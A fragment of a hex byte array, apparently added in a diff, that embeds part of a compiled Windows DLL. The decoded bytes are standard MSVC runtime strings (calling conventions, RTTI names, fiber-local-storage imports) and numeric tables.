0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa8, 0x30, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xb8, 0x30, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd0, 0x30, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa2, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe0, 0x30, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x30, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x1b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x18, 0x31, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x30, 0x31, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x31, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xa2, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xe8, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x2b, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x30, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x28, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x2c, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb0, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x70, 0x31, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5f, 0x5f, 0x62, 0x61, + 0x73, 0x65, 0x64, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x5f, 0x5f, 0x63, 0x64, 0x65, 0x63, 0x6c, 0x00, 0x5f, 0x5f, 0x70, 0x61, + 0x73, 0x63, 0x61, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x5f, 0x5f, 0x73, 0x74, 0x64, 0x63, 0x61, 0x6c, 0x6c, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x5f, 0x5f, 0x74, 0x68, 0x69, 0x73, 0x63, 0x61, + 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5f, 0x5f, 0x66, 0x61, + 0x73, 0x74, 0x63, 0x61, 0x6c, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x5f, 0x5f, 0x76, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x63, 0x61, 0x6c, 0x6c, + 0x00, 0x00, 0x00, 0x00, 0x5f, 0x5f, 0x63, 0x6c, 0x72, 0x63, 0x61, 0x6c, + 0x6c, 0x00, 0x00, 0x00, 0x5f, 0x5f, 0x65, 0x61, 0x62, 0x69, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x5f, 0x5f, 0x73, 0x77, 0x69, 0x66, 0x74, 0x5f, + 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5f, 0x5f, 0x73, 0x77, + 0x69, 0x66, 0x74, 0x5f, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x5f, 0x5f, 0x70, 0x74, 0x72, 0x36, 0x34, 0x00, 0x5f, 0x5f, 0x72, 0x65, + 0x73, 0x74, 0x72, 0x69, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x5f, 0x5f, 0x75, 0x6e, 0x61, 0x6c, 0x69, 0x67, 0x6e, 0x65, 0x64, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x72, 0x65, 0x73, 0x74, 0x72, 0x69, 0x63, 0x74, + 0x28, 0x00, 0x00, 0x00, 0x20, 0x6e, 0x65, 0x77, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x20, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x00, + 0x3d, 0x00, 0x00, 0x00, 0x3e, 0x3e, 0x00, 0x00, 0x3c, 0x3c, 0x00, 0x00, + 0x21, 0x00, 0x00, 0x00, 0x3d, 0x3d, 0x00, 0x00, 0x21, 0x3d, 0x00, 0x00, + 0x5b, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x00, 0x00, 0x00, 0x00, 0x2d, 0x3e, 0x00, 0x00, + 0x2a, 0x00, 0x00, 0x00, 0x2b, 0x2b, 0x00, 0x00, 0x2d, 0x2d, 0x00, 0x00, + 0x2d, 0x00, 0x00, 0x00, 0x2b, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, + 0x2d, 0x3e, 0x2a, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, + 0x3c, 0x00, 0x00, 0x00, 0x3c, 0x3d, 0x00, 0x00, 0x3e, 0x00, 0x00, 0x00, + 0x3e, 0x3d, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x28, 0x29, 0x00, 0x00, + 0x7e, 0x00, 0x00, 0x00, 0x5e, 0x00, 0x00, 0x00, 0x7c, 0x00, 0x00, 0x00, + 0x26, 0x26, 0x00, 0x00, 0x7c, 0x7c, 0x00, 0x00, 0x2a, 0x3d, 0x00, 0x00, + 0x2b, 0x3d, 0x00, 0x00, 0x2d, 0x3d, 0x00, 0x00, 0x2f, 0x3d, 0x00, 0x00, + 0x25, 0x3d, 0x00, 0x00, 0x3e, 0x3e, 0x3d, 0x00, 0x3c, 0x3c, 0x3d, 0x00, + 0x26, 0x3d, 0x00, 0x00, 0x7c, 0x3d, 0x00, 0x00, 0x5e, 0x3d, 0x00, 0x00, + 0x60, 0x76, 0x66, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x27, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x76, 0x62, 0x74, 0x61, 0x62, 0x6c, 0x65, + 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x76, 0x63, 0x61, + 0x6c, 0x6c, 0x27, 0x00, 0x60, 0x74, 0x79, 0x70, 0x65, 0x6f, 0x66, 0x27, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x6c, 0x6f, 0x63, + 0x61, 0x6c, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x67, 0x75, + 0x61, 0x72, 0x64, 0x27, 0x00, 0x00, 0x00, 0x00, 0x60, 0x73, 0x74, 0x72, + 0x69, 0x6e, 0x67, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x60, 0x76, 0x62, 0x61, 0x73, 0x65, 0x20, 0x64, 0x65, 0x73, 0x74, 0x72, + 0x75, 0x63, 0x74, 0x6f, 0x72, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x60, 0x76, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x20, 0x64, 0x65, 0x6c, 0x65, + 0x74, 0x69, 0x6e, 0x67, 0x20, 0x64, 0x65, 0x73, 0x74, 0x72, 0x75, 0x63, + 0x74, 0x6f, 0x72, 0x27, 0x00, 0x00, 0x00, 0x00, 0x60, 0x64, 0x65, 0x66, + 0x61, 0x75, 0x6c, 0x74, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x72, 0x75, + 0x63, 0x74, 0x6f, 0x72, 0x20, 0x63, 0x6c, 0x6f, 0x73, 0x75, 0x72, 0x65, + 0x27, 0x00, 0x00, 0x00, 0x60, 0x73, 0x63, 0x61, 0x6c, 0x61, 0x72, 0x20, + 0x64, 0x65, 0x6c, 0x65, 0x74, 0x69, 0x6e, 0x67, 0x20, 0x64, 0x65, 0x73, + 0x74, 0x72, 0x75, 0x63, 0x74, 0x6f, 0x72, 0x27, 0x00, 0x00, 0x00, 0x00, + 0x60, 0x76, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x20, 0x63, 0x6f, 0x6e, 0x73, + 0x74, 0x72, 0x75, 0x63, 0x74, 0x6f, 0x72, 0x20, 0x69, 0x74, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x27, 0x00, 0x00, 0x00, 0x60, 0x76, 0x65, 0x63, + 0x74, 0x6f, 0x72, 0x20, 0x64, 0x65, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, + 0x6f, 0x72, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x27, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x76, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x20, + 0x76, 0x62, 0x61, 0x73, 0x65, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x72, + 0x75, 0x63, 0x74, 0x6f, 0x72, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, + 0x6f, 0x72, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x76, 0x69, 0x72, + 0x74, 0x75, 0x61, 0x6c, 0x20, 0x64, 0x69, 0x73, 0x70, 0x6c, 0x61, 0x63, + 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x6d, 0x61, 0x70, 0x27, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x65, 0x68, 0x20, 0x76, 0x65, 0x63, 0x74, + 0x6f, 0x72, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, + 0x6f, 0x72, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x27, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x65, 0x68, 0x20, + 0x76, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x20, 0x64, 0x65, 0x73, 0x74, 0x72, + 0x75, 0x63, 0x74, 0x6f, 0x72, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, + 0x6f, 0x72, 0x27, 0x00, 0x60, 0x65, 0x68, 0x20, 0x76, 0x65, 0x63, 0x74, + 0x6f, 0x72, 0x20, 0x76, 0x62, 0x61, 0x73, 0x65, 0x20, 0x63, 0x6f, 0x6e, + 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x6f, 0x72, 0x20, 0x69, 0x74, 0x65, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x27, 0x00, 0x00, 0x60, 0x63, 0x6f, 0x70, + 0x79, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x6f, + 0x72, 0x20, 0x63, 0x6c, 0x6f, 0x73, 0x75, 0x72, 0x65, 0x27, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x75, 0x64, 0x74, 0x20, 0x72, 0x65, 0x74, + 0x75, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x27, 0x00, 0x60, 0x45, 0x48, 0x00, + 0x60, 0x52, 0x54, 0x54, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x60, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x20, 0x76, 0x66, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x27, 0x00, 0x60, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x20, 0x76, + 0x66, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, + 0x72, 0x75, 0x63, 0x74, 0x6f, 0x72, 0x20, 0x63, 0x6c, 0x6f, 0x73, 0x75, + 0x72, 0x65, 0x27, 0x00, 0x20, 0x6e, 0x65, 0x77, 0x5b, 0x5d, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x20, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x5b, + 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x6f, 0x6d, 0x6e, + 0x69, 0x20, 0x63, 0x61, 0x6c, 0x6c, 0x73, 0x69, 0x67, 0x27, 0x00, 0x00, + 0x60, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x64, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x20, 0x63, 0x6c, 0x6f, 0x73, 0x75, 0x72, + 0x65, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x70, 0x6c, 0x61, + 0x63, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x20, 0x64, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x5b, 0x5d, 0x20, 0x63, 0x6c, 0x6f, 0x73, 0x75, 0x72, 0x65, 0x27, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x6d, 0x61, 0x6e, 0x61, 0x67, 0x65, 0x64, + 0x20, 0x76, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x20, 0x63, 0x6f, 0x6e, 0x73, + 0x74, 0x72, 0x75, 0x63, 0x74, 0x6f, 0x72, 0x20, 0x69, 0x74, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x27, 0x00, 0x00, 0x00, 0x60, 0x6d, 0x61, 0x6e, + 0x61, 0x67, 0x65, 0x64, 0x20, 0x76, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x20, + 0x64, 0x65, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x6f, 0x72, 0x20, 0x69, + 0x74, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x27, 0x00, 0x00, 0x00, 0x00, + 0x60, 0x65, 0x68, 0x20, 0x76, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x20, 0x63, + 0x6f, 0x70, 0x79, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x72, 0x75, 0x63, + 0x74, 0x6f, 0x72, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x27, 0x00, 0x00, 0x00, 0x60, 0x65, 0x68, 0x20, 0x76, 0x65, 0x63, 0x74, + 0x6f, 0x72, 0x20, 0x76, 0x62, 0x61, 0x73, 0x65, 0x20, 0x63, 0x6f, 0x70, + 0x79, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x6f, + 0x72, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x27, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x64, 0x79, 0x6e, 0x61, 0x6d, 0x69, 0x63, + 0x20, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x69, 0x7a, 0x65, 0x72, + 0x20, 0x66, 0x6f, 0x72, 0x20, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x60, 0x64, 0x79, 0x6e, 0x61, 0x6d, 0x69, 0x63, 0x20, 0x61, 0x74, 0x65, + 0x78, 0x69, 0x74, 0x20, 0x64, 0x65, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, + 0x6f, 0x72, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x27, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x76, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x20, + 0x63, 0x6f, 0x70, 0x79, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x72, 0x75, + 0x63, 0x74, 0x6f, 0x72, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x76, 0x65, 0x63, + 0x74, 0x6f, 0x72, 0x20, 0x76, 0x62, 0x61, 0x73, 0x65, 0x20, 0x63, 0x6f, + 0x70, 0x79, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, + 0x6f, 0x72, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x27, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x6d, 0x61, 0x6e, + 0x61, 0x67, 0x65, 0x64, 0x20, 0x76, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x20, + 0x63, 0x6f, 0x70, 0x79, 0x20, 0x63, 0x6f, 0x6e, 0x73, 0x74, 0x72, 0x75, + 0x63, 0x74, 0x6f, 0x72, 0x20, 0x69, 0x74, 0x65, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x6c, 0x6f, 0x63, + 0x61, 0x6c, 0x20, 0x73, 0x74, 0x61, 0x74, 0x69, 0x63, 0x20, 0x74, 0x68, + 0x72, 0x65, 0x61, 0x64, 0x20, 0x67, 0x75, 0x61, 0x72, 0x64, 0x27, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x20, 0x22, 0x22, 0x20, 0x00, 0x00, 0x00, 0x00, 0x6f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x20, 0x63, 0x6f, 0x5f, 0x61, 0x77, 0x61, 0x69, + 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6f, 0x70, 0x65, 0x72, + 0x61, 0x74, 0x6f, 0x72, 0x3c, 0x3d, 0x3e, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x54, 0x79, 0x70, 0x65, 0x20, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, + 0x70, 0x74, 0x6f, 0x72, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x42, 0x61, 0x73, 0x65, 0x20, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x20, + 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x6f, 0x72, 0x20, 0x61, + 0x74, 0x20, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x42, 0x61, 0x73, + 0x65, 0x20, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x20, 0x41, 0x72, 0x72, 0x61, + 0x79, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x43, 0x6c, 0x61, + 0x73, 0x73, 0x20, 0x48, 0x69, 0x65, 0x72, 0x61, 0x72, 0x63, 0x68, 0x79, + 0x20, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x6f, 0x72, 0x27, + 0x00, 0x00, 0x00, 0x00, 0x20, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, + 0x65, 0x20, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x20, 0x4c, 0x6f, 0x63, + 0x61, 0x74, 0x6f, 0x72, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x60, 0x61, 0x6e, 0x6f, 0x6e, 0x79, 0x6d, 0x6f, 0x75, 0x73, 0x20, 0x6e, + 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x27, 0x00, 0x00, 0x00, + 0xa0, 0x31, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe0, 0x31, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x20, 0x32, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, + 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x63, 0x00, + 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x2d, 0x00, 0x66, 0x00, 0x69, 0x00, + 0x62, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x6c, 0x00, + 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x31, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, 0x69, 0x00, 0x2d, 0x00, + 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x77, 0x00, 0x69, 0x00, 0x6e, 0x00, + 0x2d, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x65, 0x00, 0x2d, 0x00, + 0x73, 0x00, 0x79, 0x00, 0x6e, 0x00, 0x63, 0x00, 0x68, 0x00, 0x2d, 0x00, + 0x6c, 0x00, 0x31, 0x00, 0x2d, 0x00, 0x32, 0x00, 0x2d, 0x00, 0x30, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6b, 0x00, 0x65, 0x00, + 0x72, 0x00, 0x6e, 0x00, 0x65, 0x00, 0x6c, 0x00, 0x33, 0x00, 0x32, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x70, 0x00, + 0x69, 0x00, 0x2d, 0x00, 0x6d, 0x00, 0x73, 0x00, 0x2d, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x46, 0x6c, 0x73, 0x41, + 0x6c, 0x6c, 0x6f, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x46, 0x6c, 0x73, 0x46, + 0x72, 0x65, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x46, 0x6c, 0x73, 0x47, 0x65, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x46, 0x6c, 0x73, 0x53, 0x65, 0x74, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x49, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x69, 0x7a, 0x65, 0x43, 0x72, + 0x69, 0x74, 0x69, 0x63, 0x61, 0x6c, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x45, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, + 0x05, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, + 0x04, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, + 0x03, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x05, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, + 0x07, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, + 0x07, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x06, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x07, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x07, 